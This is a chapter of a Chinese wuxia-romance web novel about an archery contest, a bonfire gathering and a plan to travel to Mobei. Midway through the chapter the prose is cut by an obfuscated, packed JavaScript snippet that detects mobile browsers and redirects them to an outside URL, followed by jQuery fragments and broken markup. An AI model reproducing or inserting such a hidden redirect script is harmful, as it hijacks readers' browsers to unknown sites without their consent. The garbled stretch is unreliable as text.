90. 池州无双

作品:《烈酒烧喉

    “池州宗师举世无双!”场下的四位“卖友求荣”的“不争气”不约而同地高举拳头呐喊。


    他们尴尬地看了看彼此,假装无事发生地放下拳头继续观赛。


    第一勇士,努尔。他身骑健壮的棕色血汗宝马,手挽长弓如弯月。在五彩的旗帜猎猎飞扬时,他迎着太阳的方向奔去。左侧是二十步、五十步与百步的箭靶,努尔的眸子里刻着的是荣耀的目光。


    “驾!”他轻踏马鞍,名叫烈的马儿提起马蹄就开始奔跑。弯弓如月,箭矢如梭!冷光一现!一箭,两箭!正中靶心!


    虽说第三箭没能正中靶心,但百步之外的箭靶能被射中,已经是弓手里的佼佼者。何况,仅差一环罢了。


    努尔的首场亮相已经结束,他在刺眼的阳光下远眺池州,并作出诚邀的姿势。


    “宗师,请吧。”他用西域话说。


    “什么意思?池州能听懂么?”马骁突然探头道。


    “估计是请的意思吧,师父哪能听懂,不过猜都能才出来了。”蒋酒卿边望边道。


    “幸好我们都听不懂,不丢脸啊,都不丢脸。”白镜华甚至站上了木桩,就为了看得清楚些。


    “那我就不客气了。”池州道,她胸有成竹地拿起最重的长弓,潇洒地翻身上马,随后挺直腰杆,力挽雕弓!


    “不是,她什么时候学的西域话?”贺谏山有点气急败坏道。


    “她什么时候学的?!”蒋酒卿跺脚。


    “驾!”


    池州轻斥,驱使战马飞奔,彼时她轻轻一掌拍在马鞍上,整个人翻飞而立。只见一袭黛色长袍正随风翩飞,而挽弓之人的墨色发丝张扬而潇洒,她浑身上下都透着从容与自信。


    箭如银梭,三个靶都一箭穿心,而仍有余力地飞驰数步之远。


    此等神技看得底下之人目瞪口呆,竟连鼓掌与和欢呼都忘记了。稍等了片刻,众人才反应过来池州箭法例无虚发!此刻才开始送上最高昂的赞歌!


    池州微微抬眸,不作回应,只是面带从容的笑容回到起点。


    丹舒公主激动地从座位上站起来,奔向栏杆的地方,眼里充满着钦佩之意。她的眼睛就像闪烁的星星一样,全神贯注地看着池州。


    “西域人的字典里从无放弃二字!”努尔用西域方言放话。


    接着他重拾重弓,再次踏上方才的路径。此次比赛要射的乃是移动箭靶,三个箭靶随机移动。


    努尔为了证明自己,他撤下黑布缚眼,拉满弯弓!


    灼热的太阳将他晒得额间渗汗,热气将他蒸腾。努尔虽然紧张,但毕竟他是身经百战的勇士,此刻依旧保持沉着冷心的心态。


    他“驾!”的一声轻唤,马儿再度飞驰,一箭、两箭、三箭!都稳稳落入箭靶之中。除了第三个箭靶,其余都正中靶心。


    场上响起了振聋发聩的掌声,努尔的笑容才渐渐显露,他满怀期待地扯下布条,亲眼目睹结果。


    “必胜!!!”他高举双手呼喊,随后给了池州一个挑衅的眼神,仿佛在说“你这些把戏在真正的困难面前,不值一提。”


    座台上的家主伸手触碰阿依慕的手背,又胆怯地退回来,欲盖弥彰地说道:“这届的比赛很有看头,恐怕大宗师后面的表现更有看头。”


    阿依慕看破不说破,假装没在意他轻碰的事情,莞尔一笑道:“嗯,要是池州大师的胜利可以激发族人的拼搏精神,也是不错的一件事呢!”


    尤叙道:“是呢。”


    蒋酒卿低语问贺谏山:“师父还会这呢?”


    贺谏山蹙眉道:“嗯……”


    蒋酒卿不依不饶地问:“这是宗师必修的吗?”


    贺谏山蹙眉道:“嗯……我自由别的擅长之能。”


    蒋酒卿拉着贺谏山的手,眼里却对池州充满慕色道:“师父好厉害哦,她真的好厉害,我好喜欢她,我以后什么都听她的。”


    贺谏山蹙眉,伸手挡住阿酒的视线,颇有醋意道:“嗯……别看了。”


    池州没有丝毫不悦,她反而玩性大发,饶有兴致道:“嗯~颇有趣味呢!”


    眼见她并未摘下缚眼巾,从箭囊中取出三支飞羽箭,都搭在弓上,顷刻,她将弓一横。


    健马飞跃,银矢破空!三支飞羽箭正中靶心!二十、五十、百步开外的移动箭靶触箭即穿心。


    场上欢呼声不止,努尔愿赌服输,将左手示礼,“哈——赞!”郑重地表示拜服。


    池州轻身下马,正想摘下缚眼,不曾想被一股力量冲撞而来。此时她能感受到一个大大的拥抱,她自信又调戏般的语气撩拨:“小酒酒倒也不必如此钦佩吾。”


    她取下缚眼巾时,愣了一愣,“原来是公主啊。”她心悟。


    “也好。”她淡淡道。


    在不远处眺望的蒋酒卿,她的眼神从钦佩之色瞬间幻化成杀意,直勾勾地盯着池州与小公主的方向。她一把掐紧贺谏山的手,心怀恨意道:“她岂敢……”


    谏山方才没留意发生了什么,只是手臂吃痛,但不好发作,生生忍了下来。


    ……


    热烈的比赛已经结束,日暮也已经西沉,如今夜色璀璨,王廷为中原的朋友安排了篝火晚会。


    随着那星星点点的火花上扬飞旋,众人的思绪也被带向了美好的远方。


    温暖,持久,是热烈的情感。


    中原的五人互相围坐说笑时,阿依慕带着一个人前来拜访他们。被引见来的男人穿着玄色的藏袍,心怀上佩戴着赤色的珠串——席地而坐的蒋酒卿再抬眼往上,才瞧见夜色里的这个狼尾发型的男人有些熟悉,但又有些陌生,这样的野性她似乎察觉不到在谁的身上探查过。


    白镜华也有一样的感受。


    贺谏山聚瞳审视,能察觉出此人有难以言喻的危险气息,他转眼看向马骁,发现马骁也不谋而合地看向他,眼里颇有警惕之色。


    男人的直觉,也不会有错的。


    马骁曾无数次说过这句话,今日要应验了。


    贺谏山站起顺势握住了斥洱朝蒋酒卿递来的伸手,他的眼神里透着吃人的神色,但斥洱略有尴尬地颔首示好。<


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16426381|179369||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    p>其余人同起,阿依慕这才介绍道:“想必诸位都还记得斥洱,此番前来,阿依慕是有一事相求。”


    “说吧,什么事?”蒋酒卿起立,爽朗地说道。


    阿依慕开门见山道:“之前斥洱救过我的性命,阿依慕不愿他再以奴隶的身份继续呆在这里,所以,解除契约,让他重新恢复自由的身份。”


    “嗯?那有什么我们可以帮忙的吗?”蒋酒卿道。


    阿依慕道:“斥洱其实想回故乡,即便战乱,但……他有他的原因。”


    贺谏山毫不留情地指出:“你好不容易从漠北逃离,现在又要回去,这说得通么?”


    斥洱恢复自由身之后,仿佛气质里平添了一份淡定与从容,他不紧不慢地解释道:“曾经我不得已离开故乡,但如今我已恢复自由身,我不可能丢下妹妹在那片生灵涂炭的土地。”


    蒋酒卿动容,忍不住问道:“你也有妹妹在那里么?”


    斥洱坚定道:“我当然有,她也一定还在等我,我必须要去。”


    斥洱正视贺谏山逼人的目光,坚定不移地说:“不论我妹妹在哪里,我都必须找到她。所以,我拜托诸位,能与我一路同行。我回到漠北之后,我就要去找我妹妹,不会给你们添任何麻烦。”


    这是一个难以抗拒的理由。


    斥洱补充道:“阿依慕跟我说,你们也要去漠北,也要去找你们的仇人,我可以,我可以帮你们!漠北的情况我很熟悉,虽然我不会武功,但是我非常了解那里。带上我,一定会比你们自己去更方便,更快!”


    他诚恳地拜托诸位,而且给出了足够有利的交换,这是个无法拒绝的理由。


    见众人犯难色,阿依慕央求:“请你们圆了阿依慕的请求,我愿向公主请求,与诸位结盟,他日若有相求,我等必前来相救!”


    阿依慕以西域的月亮起誓,她和她的族人都要知恩图报,所以斥洱的请求她没法拒绝,即便要付出更大的承诺为代价,她也必须履行。


    蒋酒卿道:“如此,便与我们同行吧。”


    ……


    西域的星辰格外闪烁耀眼,映照着每个人的心灵,勾起他们的思念。


    草原里的帐篷开了窗,月光能透过窗安抚人们。蒋酒卿心绪难平地低头蜷缩着,贺谏山搂着她,蹭着她的发丝,在耳边轻语:“你想他了是么?”


    蒋酒卿再也无法按捺心中情感,用叹息去回答。


    “三年不见,不知道他怎么样了。”贺谏山低语,将她拥得再紧些,“每回提起他,我难免醋意翻浪,但我偏偏没有理由抗拒你想你哥哥。这不妨碍我想跟他再争夺多一分你的爱。”


    “他,从未过问,从未找寻,也……”蒋酒卿默默含泪。


    “他有他的肩上扛负之任,可能无法抽身,既然你想见他,我会陪你去见他。”


    “可是我……”


    “不用惧怕,他绝无胆量赶你走。”贺谏山闭眼,再贴近阿酒多一分,贪恋怀握之物,“但你休想再拨多一分爱意给别人,不论他是不是你哥哥,都不例外。”